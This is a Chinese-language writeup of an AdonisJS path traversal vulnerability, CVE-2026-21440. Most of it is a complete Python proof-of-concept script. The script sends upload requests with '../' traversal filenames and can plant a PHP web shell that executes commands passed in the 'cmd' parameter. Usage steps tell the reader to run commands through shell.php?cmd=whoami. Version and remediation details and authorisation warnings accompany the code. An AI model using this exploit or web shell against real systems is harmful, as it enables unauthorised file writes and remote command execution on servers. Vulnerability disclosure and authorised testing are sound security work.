CVE-2026-21440 AdonisJS 路径遍历漏洞分析与验证工具

5 阅读5分钟

项目标题与描述

CVE-2026-21440 PoC及安全分析

CVE-2026-21440 是一个影响 AdonisJS 框架的严重路径遍历漏洞。该漏洞源于框架在处理多部分文件上传时,不当信任了用户提供的文件名,而未进行严格的净化处理。当开发人员调用 MultipartFile.move() 方法时,攻击者可以提交包含路径遍历序列(如 ../../../../app/config/startup.js)的文件名,从而突破预定的上传目录,将文件写入服务器上的任意位置。此漏洞可能导致远程代码执行(RCE),对公开的文件上传端点构成严重威胁。

功能特性

本资源提供了关于 CVE-2026-21440 的全面信息和一个概念验证(PoC)脚本,主要功能包括:

  • 漏洞深度解析:详细阐述漏洞成因(CWE-22 路径遍历)、攻击向量及潜在影响。
  • 影响范围说明:明确列出受影响的 @adonisjs/bodyparser 版本(≤10.1.1 及 11.x 特定预发布版)和已修复版本(10.1.2, 11.0.0-next.6)。
  • 修复与缓解指南:提供升级建议以及临时的安全加固措施。
  • 安全测试脚本:一个 Python PoC 脚本,用于在授权环境下验证目标系统是否存在此漏洞。
    • 支持安全测试模式(--safe),上传无害文件进行初步验证。
    • 可生成用于命令执行的 Web Shell 文件(如 PHP),帮助评估漏洞的实际危害程度。
  • 完整的披露时间线:记录了漏洞的公开历程。

安装指南

使用提供的 PoC 脚本进行安全测试前,需要满足以下条件:

  1. 系统要求:安装 Python 3 环境。
  2. 依赖安装:脚本依赖于 requests 库。通过以下命令安装:
    pip install requests
    
  3. 脚本获取:将提供的完整 Python 代码保存为本地文件,例如 cve_2026_21440_poc.py
  4. 目标环境仅能在您拥有所有权或已获得明确书面授权进行测试的系统上使用此脚本。

使用说明

该 PoC 脚本用于在授权范围内验证 AdonisJS 应用是否受 CVE-2026-21440 影响。

基础使用步骤

  1. 识别目标:找到待测试应用的多部分文件上传端点(例如 /upload, /api/files)。
  2. 进行安全测试:首先运行安全模式,上传一个包含随机名的无害文本文件,以确认漏洞是否存在且上传功能正常。
    python3 cve_2026_21440_poc.py http://target:port/upload --safe --random
    
    如果成功,脚本会输出“SUCCESS: File likely written!”并提示一个访问 URL。在浏览器中打开该 URL,如果能看到上传的文本内容,则证明存在路径遍历漏洞。
  3. 深入测试(可选):如果确认漏洞存在,可以尝试上传一个 Web Shell 来评估潜在危害。
    python3 cve_2026_21440_poc.py http://target:port/upload --shell php --depth 5
    
    脚本会尝试将 Web Shell 写入网站根目录。成功后,可通过访问 http://target/shell.php?cmd=whoami 等 URL 来执行命令。
  4. 参数说明
    • --safe: 安全模式,上传一个无害的 .txt 文件。
    • --random: 使用随机生成的文件名。
    • --shell [php]: 尝试上传指定语言的 Web Shell。
    • --depth N: 指定路径遍历的深度(../ 的数量)。

重要警告

⚠️ 本工具仅供教育、研究和授权安全测试之用。严禁用于未授权系统测试或任何非法活动。使用者需对自身行为负全部法律责任。

核心代码

以下是PoC脚本的核心部分,用于构造恶意请求以验证漏洞:

import requests
import sys
import os
import random
import string

def generate_random_filename(length=10):
    """生成随机文件名"""
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))

def test_vulnerability(target_url, filename, file_content, traversal_depth=3):
    """
    测试目标URL是否存在路径遍历漏洞
    
    Args:
        target_url (str): 目标上传URL
        filename (str): 要尝试写入的文件名(可包含路径遍历)
        file_content (str): 文件内容
        traversal_depth (int): 路径遍历深度
        
    Returns:
        dict: 测试结果
    """
    # 构造恶意文件名
    malicious_filename = "../" * traversal_depth + filename
    
    # 准备multipart表单数据
    files = {
        'file': (malicious_filename, file_content, 'text/plain')
    }
    
    try:
        response = requests.post(target_url, files=files, timeout=10)
        
        return {
            'success': response.status_code in [200, 201, 204],
            'status_code': response.status_code,
            'response_text': response.text[:500]  # 只取前500字符
        }
    except Exception as e:
        return {
            'success': False,
            'error': str(e)
        }

def create_php_shell():
    """创建简单的PHP Web Shell"""
    return """<?php
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
} else {
    echo "PHP Shell Active";
}
?>"""

def main():
    if len(sys.argv) < 2:
        print("用法: python poc.py <目标URL> [--safe] [--shell php] [--depth N] [--random]")
        sys.exit(1)
    
    target_url = sys.argv[1]
    safe_mode = '--safe' in sys.argv
    shell_type = 'php' if '--shell' in sys.argv else None
    depth = 3
    use_random = '--random' in sys.argv
    
    # 解析深度参数
    for i, arg in enumerate(sys.argv):
        if arg == '--depth' and i + 1 < len(sys.argv):
            try:
                depth = int(sys.argv[i + 1])
            except ValueError:
                pass
    
    print(f"[*] 目标: {target_url}")
    print(f"[*] 安全模式: {safe_mode}")
    print(f"[*] Shell类型: {shell_type}")
    print(f"[*] 路径遍历深度: {depth}")
    
    if safe_mode:
        # 安全测试:上传一个无害的txt文件
        if use_random:
            filename = generate_random_filename() + ".txt"
        else:
            filename = "poc_test.txt"
        
        content = "CVE-2026-21440安全测试文件 - 如果看到此内容,系统可能存在路径遍历漏洞。"
        
        print(f"[*] 尝试安全测试,文件名: {filename}")
        result = test_vulnerability(target_url, filename, content, depth)
        
        if result.get('success'):
            print("[+] SUCCESS: 文件可能已成功写入!")
            print(f"[*] 尝试访问: http://target/{filename}")
            print(f"[*] 响应状态: {result.get('status_code')}")
        else:
            print("[-] 文件写入可能失败。")
            if 'error' in result:
                print(f"[-] 错误: {result['error']}")
    
    elif shell_type == 'php':
        # 尝试上传PHP shell
        filename = "shell.php"
        content = create_php_shell()
        
        print(f"[!] 警告:正在尝试上传PHP Web Shell")
        print(f"[*] 目标文件: {filename}")
        
        result = test_vulnerability(target_url, filename, content, depth)
        
        if result.get('success'):
            print("[+] PHP Shell 可能已上传!")
            print(f"[*] 尝试访问: http://target/{filename}?cmd=whoami")
        else:
            print("[-] PHP Shell 上传失败。")
    
    else:
        print("[-] 请指定 --safe 或 --shell 参数。")

if __name__ == "__main__":
    main()

此脚本的核心函数 test_vulnerability 负责构造包含路径遍历序列的文件名,并通过 multipart/form-data 格式向目标端点发送POST请求。create_php_shell 函数生成一个简单的PHP Web Shell。脚本逻辑通过命令行参数控制测试模式(安全测试或上传Shell),并尝试利用路径遍历漏洞将文件写入Web可访问目录。请务必在合法授权的前提下谨慎使用。 6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAO5W+iXaui6Ix26aI1SYZyc